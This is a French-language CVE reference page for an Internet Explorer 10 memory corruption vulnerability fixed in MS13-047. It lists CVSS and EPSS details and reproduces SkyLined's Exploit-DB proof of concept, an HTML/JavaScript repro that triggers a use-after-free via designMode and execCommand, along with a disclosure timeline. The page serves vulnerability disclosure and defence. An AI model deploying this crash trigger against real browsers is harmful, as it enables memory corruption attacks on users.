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Descriptions du CVE
Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3118 and CVE-2013-3125.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 40844
Date de publication : 2016-11-27 23h00 +00:00
Auteur : Skylined
EDB Vérifié : Yes
<!--
Source: http://blog.skylined.nl/20161125001.html
Synopsis
A specially crafted web-page can cause Microsoft Internet Explorer 10 to continue to use an object after freeing the memory used to store the object. An attacker might be able to exploit this issue to execute arbitrary code.
Known affected software and attack vectors
Microsoft Internet Explorer 10
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
Repro.html:
-->
<!DOCTYPE html>
<html>
<head>
<script>
var oWindow = window.open("window.xhtml");
setInterval(function () {
try {
oWindow.eval("(" + function () {
document.designMode = "on";
document.execCommand("SelectAll");
var oSelection = window.getSelection();
oSelection.collapse(document,1);
document.execCommand("InsertImage", false);
document.designMode="off";
} + ")()");
} catch (e) {}
}, 1);
</script>
</head>
</html>
Window.xhtml
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">
</html>
<!--
Description
The last line of script (designMode = "off") will cause some cleanup in MSIE, which appears to trigger use of a stale pointer in CEditAdorner::Detach. I did not investigate further.
Time-line
November 2012: This vulnerability was found through fuzzing.
November 2012: This vulnerability was submitted to EIP.
December 2012: This vulnerability was rejected by EIP.
January 2013: This vulnerability was submitted to ZDI.
March 2013: This vulnerability was acquired by ZDI.
June 2013: This issue was addressed by Microsoft in MS13-047.
November 2016: Details of this issue are released.
-->
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-047
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16778
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
